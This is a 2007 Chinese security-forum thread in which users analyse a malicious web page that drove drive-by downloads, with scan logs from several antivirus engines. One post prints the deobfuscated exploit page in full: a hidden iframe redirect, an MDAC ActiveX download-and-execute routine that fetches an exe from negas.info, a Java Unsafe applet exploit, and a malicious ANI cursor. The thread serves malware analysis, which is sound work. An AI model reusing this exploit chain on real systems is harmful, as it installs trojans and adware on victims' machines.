谁能分析一下这个毒网。

显示全部楼层 · 发表于 2007-4-25 20:57:16

hxxp://repuc.info/lc0025.html
下的毒都被小红伞杀啦。

显示全部楼层 · 发表于 2007-4-25 21:08:30

晕了，代码被加密，得花点时间

显示全部楼层 · 发表于 2007-4-26 12:43:46

发现这个后就把网页关了
广告软件名称:AdWare.Win32.SpySheriff.i
程序:
C:\WN0025.EXE
是广告软件!
已成功阻止其运行,是否要删除此文件?

显示全部楼层 · 发表于 2007-4-26 13:00:07

clamwin挂

Scan Started Thu Apr 26 12:58:44 2007
-------------------------------------------------------------------------------

----------- SCAN SUMMARY -----------
Known viruses: 112475
Engine version: 0.90.1
Scanned directories: 0
Scanned files: 1
Skipped non-executable files: 0
Infected files: 0

Data scanned: 0.00 MB
Time: 33.498 sec (0 m 33 s)
--------------------------------------
Completed
--------------------------------------

显示全部楼层 · 发表于 2007-4-26 16:12:37

也许大概是下面的

<HTML style="BEHAVIOR: url('#default#clientCaps')"><HEAD></HEAD>
<BODY>
<SCRIPT>var ifr='<iframe width=2 height=2 style=display:none';var t='other';if(document.all){document.all[0].style.behavior='url("#default#clientCaps")';if(document.all[0].connectionType == 'modem'){t='modem';}}document.write(ifr+' src=http://negas.info/?u=0025&t='+t+'></iframe>');</SCRIPT>
<IFRAME style="DISPLAY: none" src="http://negas.info/?u=0025&t=modem" width=2 height=2></IFRAME></BODY></HTML>

复制代码

然后其实链接的页面是下面的

<html>
<head>
<title>403 Forbidden</title>
<style>
* {CURSOR: url("anr/us0025.anr")}
</style>
</head>
<body>
<script>
<applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
function pass1(ii, uu)
{
var t = 'BD96C556'+'-'+'65A3-11'+'D0-98'+'3A-00C0'+'4FC29E36';
var b = null;
var a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t);
if (a) {
try {
eval('b = a.CreateObject("S"+ "h"+ "e"+"l"+ "l."+"A"+ "p"+"p"+ "li"+ "ca"+ ""+ "ti"+ "on", "")');
} catch(e){return -1;}
if (b) {
var bin = "\"+ii+"0025.e"+ "x"+"e";
var xml = new ActiveXObject("Mi"+ "cr"+"os"+ "o"+"ft"+ ".XM"+ "LH"+ "TT"+ "P");
xml.open("G"+ "ET", uu, false);
xml.send(null);
var dat = xml.responseBody;
var o = a.CreateObject("ADODB.Stream", "");
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
b.ShellExecute(bin, null, null, null, 0);
b.ShellExecute("c"+ "md", " /c del \"+ii+"0025.exe", null, null, 0);
return 1;
}
}
return -1;
}
function pass2()
{
try {
var unsafeclass = document.maniman.getClass().forName("sun.misc.Unsafe");
var unsafemeth = unsafeclass.getMethod("getUnsafe", null);
var unsafe = unsafemeth.invoke(unsafemeth, null);
document.maniman.foobar(unsafe);
var chenref = unsafe.defineClass("omfg", document.maniman.luokka, 0, document.maniman.classSize);
var chen = unsafe.allocateInstance(chenref);
chen.setURLdl([url]http://negas.info/[/url]);
chen.setUname("0025");
chen.setCID("modem");
return chen.perse(unsafe);
} catch (d) {return -1;}
return -1;
}
function pass3()
{
<APPLET ARCHIVE=dsbr.jar code=MagicApplet.class WIDTH=1 HEIGHT=1 name=dsbr MAYSCRIPT>;
<param name=ModulePath value=http://negas.info/?u=0025&t=modem&o=2&s=c29mdC5OMjMuc3NoLzAwMjUuZXhl></APPLET>;
<applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>;
<param name=usid value=us0025>;
<param name=linkurl value=http://negas.info/?u=0025&t=modem&o=4&s=c29mdC5OMjMuc3NoLzAwMjUuZXhl></applet>;
return 1;
}
if (pass1('wn', [url]http://negas.info/?u=0025&t=modem&o=0&s=c29mdC5OMjMuc3NoLzAwMjUuZXhl[/url]) != 1) {
if (pass2() != 1) {
pass3();
}
//} else {
// pass1('us', [url]http://negas.info/?gf=us0025[/url]);
}
</script>
<h1>Forbidden</h1><p>You don't have permissions.</p><hr>
</body>
</html>

复制代码

那个us0025.anr
扫描系统区域...
扫描所选择的目录和文件...
对象: us0025.anr
      路径: C:\病毒样本\0422
      Status: 已发现病毒
      病毒: Trojan-Downloader.Win32.Ani.c (KAV 引擎), Exploit.Win32.MS05-002.Gen (BD 引擎)
扫描完成: 2007-4-26 16:10
已检查 1 个文件
已发现 1 个染毒文件
发现 0 个可疑文件

扫描系统区域...
扫描所选择的目录和文件...
对象: wn0025.exe
路径: C:\病毒样本\0422
Status: 已发现病毒
病毒: not-virus:Hoax.Win32.Renos.gk (KAV 引擎)
扫描完成: 2007-4-26 16:35
已检查 1 个文件
已发现 1 个染毒文件
发现 0 个可疑文件

[ 本帖最后由 icka 于 2007-4-26 16:36 编辑 ]

显示全部楼层 · 发表于 2007-4-26 16:50:55

补充下
那个exe的真实地址就是
hXXp://negas.info/?u=0025&t=modem&o=2&s=c29mdC5OMjMuc3NoLzAwMjUuZXhl

显示全部楼层 · 发表于 2007-4-26 16:54:04

Scan performed at: 2007-4-26 16:54:13
Scanning Log
NOD32 version 2219 (20070425) NT
Command line: C:\Documents and Settings\EQ2\桌面\wn0025.rar C:\Documents and Settings\EQ2\桌面\us0025.rar
Operating memory - is OK

Date: 26.4.2007 Time: 16:54:17
Anti-Stealth technology is enabled.
Scanned disks, folders and files: C:\Documents and Settings\EQ2\桌面\wn0025.rar; C:\Documents and Settings\EQ2\桌面\us0025.rar
C:\Documents and Settings\EQ2\桌面\wn0025.rar ?RAR ?wn0025.exe - a variant of Win32/Adware.SpySheriff application
C:\Documents and Settings\EQ2\桌面\us0025.rar ?RAR ?us0025.anr - a variant of Win32/TrojanDownloader.Ani.Gen trojan
Number of scanned files: 4
Number of threats found: 2
Number of files cleaned: 2
Time of completion: 16:54:17 Total scanning time: 0 sec (00:00:00)

[病毒样本] 谁能分析一下这个毒网。

本帖子中包含更多资源

微点拦

本帖子中包含更多资源